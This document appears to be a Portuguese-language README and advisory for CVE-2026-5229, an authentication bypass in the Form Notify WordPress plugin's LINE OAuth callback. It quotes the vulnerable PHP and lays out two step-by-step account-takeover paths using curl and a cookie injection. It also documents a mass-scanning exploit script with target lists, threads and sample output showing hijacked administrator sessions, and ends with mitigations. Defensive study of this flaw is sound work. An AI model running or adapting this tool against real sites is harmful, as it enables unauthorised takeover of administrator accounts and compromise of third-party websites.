
CVE-2026-5229: Bypass de Autenticação do Form Notify via Callback OAuth da LINE (CVSS 9.8)
CVE-2026-5229: Bypass de Autenticação do Form Notify via Callback OAuth do LINE (CVSS 9.8)
Plugin: Form Notify (
form-notify) Tipo de Vulnerabilidade: Bypass de Autenticação LINE OAuth não autenticado → Account Takeover Pontuação CVSS: 9.8 (Crítica) Vetor CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersões Afetadas: <= 1.1.10 Versão Corrigida: 1.1.11+ Pesquisador: Paolo Tresso — Wordfence
O plugin Form Notify é um plugin WordPress que envia notificações após o envio de formulários e oferece integração com LINE Login OAuth 2.0.
A vulnerabilidade está no handler de callback do OAuth do LINE. Após o usuário concluir o fluxo de autorização do LINE, o plugin resolve a conta WordPress apenas pelo endereço de email. Ele nunca verifica se a conta LINE já foi associada àquela conta WordPress.
| Versão | Vulnerabilidade | Método de Ataque |
|---|---|---|
| <= 1.1.08 | Injeção de Cookie + Correspondência de Email | Path A ou Path B |
| 1.1.09 – 1.1.10 | Correspondência de Email (cookie removido) | Path B |
| 1.1.11+ | Corrigida |
O endpoint de callback do OAuth do LINE está registrado como totalmente público:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
Os nonces do WordPress são tokens CSRF, não tokens de autenticação. Qualquer visitante pode obter um nonce válido a partir do HTML da página e passar na verificação.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
Se houver correspondência, o método login() inicia a sessão imediatamente:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Quando o perfil do LINE não retorna email ($user->email vazio),
o plugin lê diretamente o cookie do navegador.
O atacante controla completamente esse cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Se o transient expirou, o fallback de $_SESSION entra em ação.
Na maioria das instalações do WordPress, $_SESSION não está preenchida
nesse ponto → a verificação de state pode ser contornada.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
Nas contas criadas pelo fluxo OAuth do LINE, a senha é a mesma do endereço de email. Essa condição permite ataques diretos de brute-force ou de login.
⚠️ Aviso Legal: Este PoC é fornecido apenas para fins educacionais e de testes de segurança autorizados. Testar sistemas sem permissão explícita é ilegal.
Pré-requisitos:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
Abra as ferramentas de desenvolvedor do navegador e cole no console:
document.cookie = "[email protected]; path=/";
Ou com curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Abra no navegador a URL OAuth do LINE presente no header Location.
Na tela de consentimento do LINE, não conceda a permissão de email ou use uma conta LINE sem email. O LINE redireciona para o callback sem o email. O plugin cai no cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Resposta esperada:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Igual ao Passo 1 do Path A.
Crie uma conta LINE com o email alvo em account.line.biz.
(Exige verificação de email — é necessário acesso à caixa de entrada do alvo.)
https://target.com/wp-json/form-notify/v1/login
Na tela de consentimento do LINE, conceda a permissão de email. O LINE retorna o endereço de email no callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : [email protected]
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
Exemplo de resolução segura de conta:
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
Esta ferramenta e o PoC foram elaborados para uso somente em sistemas autorizados, para fins educacionais e no âmbito de testes de penetração. O uso em sistemas sem autorização constitui crime nos termos dos artigos 243-245 do Código Penal Turco e das leis internacionais de crimes cibernéticos. O desenvolvedor não assume nenhuma responsabilidade legal decorrente do uso indevido da ferramenta.
Licença MIT — Apenas para fins educacionais e de pesquisa.
| — |
| Motivo | Descrição |
|---|
| Sem autenticação necessária | O endpoint de callback é totalmente público |
| Sem verificação de vínculo | Qualquer conta LINE é suficiente |
| Ataque via cookie | Em <= 1.1.08 nem o email é necessário |
| Todas as contas, incluindo admin | get_user_by('email') afeta todos |
| Controle de state fraco | A proteção CSRF pode ser contornada |
| Email = Senha | Contas abertas via OAuth ficam vulneráveis a brute-force trivial |
| Parâmetro | Curto | Descrição | Padrão |
|---|
--url | -u | URL de um único alvo | — |
--list | -l | Arquivo com a lista de alvos | — |
--threads | -t | Número de threads | 10 |
--output | -o | Arquivo de saída | auth_bypass.txt |
--email | — | Email do usuário alvo | descoberta automática |
--path | — | Path de ataque (A / B / both) | both |
--max-users | — | Máx. de usuários por alvo | 5 |
--proxy | — | URL do proxy | — |
--timeout | — | Timeout da requisição (s) | 10 |
| Status | Descrição |
|---|
★ AUTH OK | Cookie de sessão obtido — totalmente automático |
★ WP-ADMIN | Redirecionado para /wp-admin |
~ MANUAL | URL OAuth pronta, conclua no navegador |
~ PATH B | Etapas manuais com a conta LINE |
- NO_PLUGIN | Form Notify não está instalado |
- NO_LINE | LINE Login não está ativo |
~ NO_TARGET | Email do usuário não encontrado |
~ UNREACH | Alvo inacessível |
| Medida | Implementação |
|---|
| Atualização do Plugin | Atualize para a versão 1.1.11+ do Form Notify |
| Verificação de Vínculo com LINE | Salve o LINE ID nos metadados do usuário e valide a cada login |
| Remover Fallback de Cookie | Remova o uso de $_COOKIE['form_notify_line_email'] |
| Validação de State | Remova o fallback do transient e rejeite states expirados |
| Política de Senha | Não use o email como senha em sign_up() |
| Proteção do Endpoint REST | Aplique rate limiting ao endpoint de callback |